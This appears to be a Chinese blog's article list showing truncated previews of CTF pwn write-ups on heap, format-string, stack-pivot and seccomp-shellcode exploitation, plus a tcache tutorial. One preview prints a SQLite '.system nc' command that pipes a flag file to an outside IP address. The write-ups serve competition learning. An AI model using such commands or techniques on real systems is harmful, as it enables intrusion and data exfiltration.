文章列表

7.2k 7 分钟

挺久没发过博客了,水一篇 ( 和队友一起打到初赛第六,这次属实是没 pwner 什么事,pwn 题难的难,简单的简单,拉不开差距。 # Message Board 程序给了一次格式化字符串,拿来泄露栈地址后栈迁移。 这里奇怪的是我本地泄露某一个栈地址,在我本机是 glibc 2.31 9.9 的情况以及 patch 过 glibc-all-in-one 中 libc 的情况在远程均无法成功。需要换一个栈地址才行。 一次性调用程序本身的 call_read gadget + 栈迁移 orw 即可。(更简单的方法是重回...
34k 30 分钟

首发于看雪: https://bbs.kanxue.com/thread-275376.htm # 前言 和 r3kapig 一起征战 hitcon2022,pwn 手坐大牢,wtfshell 这道题审了三小时源码,只看出来一个 chk_pw 侧信道 + read_pw 未置零,最终可以通过侧信道 leak 出一个 heap 地址,没有看出其余的洞,最终放弃。 wtfshell1 最终解数为 4, wtfshell2 最终解数为 3。第一题解出来了第二题基本就解出来了。 感谢 crazyman 第二天来告诉我 wtfshell 的主要漏洞(strtok off by...
14k 13 分钟

# YCBSQL 远程是上传一个 sql 文件,题目提示用 nc 带出 flag。 优先考虑 sqlite 自带的.system 函数(抱着试一试的想法),然后找 web 手要了个 vps 监听,莫名其妙就出了。 sql 文件内容: 1.system nc 1.117.171.248 9997 </flag # fakeNoOutput 是个 httpd。最后三分钟做出来了。 协议格式逆了半天,有个栈溢出在 upload 里,触发溢出的条件: HTTP_SERVER1_token 是系统随机生成的,得写对。token 记得用 \x00 截断 开头得有个 POST...
7.6k 7 分钟

# Pwn # gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为 0x60 或 0x100,往里写内容的时候是往 user_data +0x10 处写。 delete:有 UAF show:可泄露 bargain:可以用来控制 fd。并且类型为 int,比较类型也是有符号比较,所以可以减 0x10 范围内的数字,或者加 int(4 字节内)的数字。 因为这道题 idx 太少了,直接 free 掉 7 个 chunk 填满 tcache_list 不可行,所以我是通过 bargain 函数修改 fd 指针到一个 fake_chunk ,这个...
35k 31 分钟

# Pwn # challenge UserManager 菜单题 musl 二叉树 add 里面有 uaf。 连续两次 id 一样。 用的 calloc,得想办法 leak。 堆风水先把 avail chunk 给消耗完。再 free user。 再分配的时候就可以完成用 user 占位 name。然后用 name 来 leak libc 和 elf base 再用 name 反过来占位 user,写 secret 的地址就可以 leak 出 secret。 dequeue 打类似 unlink 攻击,打 io file,fsop。堆风水,注意到 parent...
7.8k 7 分钟

# pwn # eyfor buf 可以覆盖 seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出: 程序自带 system 函数,同时会将 payload strcpy 到 bss 段上,因此可以在 payload 中附带 /bin/sh 之后直接调用 system ("/bin/sh") getshell。 exp: 123456789101112131415161718from pwn import *import ctypescontext.terminal =...
6.3k 6 分钟

# DSCTF pwn 部分 wp 原谅我懒,不想附图了,客官老爷们多包涵。 拿了第七: 出了两道 pwn: # fuzzerinstrospector Case 6 有带 rdi 的任意指针调用,只要泄露 libc 即可。 rdi 指向的内容可控。 add 函数和 edit 函数功能相似。add 函数 malloc 指定大小 0x108。 前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。 可以先 free 掉七个堆块进入 tcache 填满,然后 delete 堆块进入 unsortedbin。 不过申请 unsortedbin 的时候,他似乎会先检查符合...
4.1k 4 分钟

第一题的第五个解出: 第二题的三血 总体难度偏简单。 # EscapeShellcode 清空了所有寄存器(设置为 0xdeadbeefdeadbeef),包括 rsp。 flag 读到了 bss 段上。 seccomp 只允许调用 read 和 write。这里我只用到了 write。 利用的主要是: write,read 函数遇到不可读写的区域,会返回 < 0 的值,且不会令程序崩溃。 首先利用 syscall 会给 rcx 赋值的特性,将 rip 的值赋给 rcx。 将 rcx 赋给 r8 r8 减去一个很大的偏移,令他小于 codebase,将 r8 赋给...
1.9k 2 分钟

一道简单 fmt 题,但是我搜解题记录时,觉得解得都挺复杂的。 似乎还没有文章用我的方法,那我就写一种简单的解法。 # 绕过 fmt 判断条件 我只用到了 fmt_attack 函数。 由于有一个判定条件: 12345678910111213141516unsigned __int64 __fastcall fmt_attack(int *a1){ char format[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u);...
5k 5 分钟

# Tcache Tcache 是 glibc 2.26 之后引入的机制,与 glibc 2.23 版本下堆利用方式有一定区别,产生了新的利用方式。 # 0x1 相关结构体 # tcache_entry 1234typedef struct tcache_entry{ struct tcache_entry *next;} tcache_entry; tcache_entry 用来链接空闲的 tcache chunk,其中的 next 指针指向下一个大小相同的空闲 tcache chunk。 注意:这里的 next 指针指向的是 user data...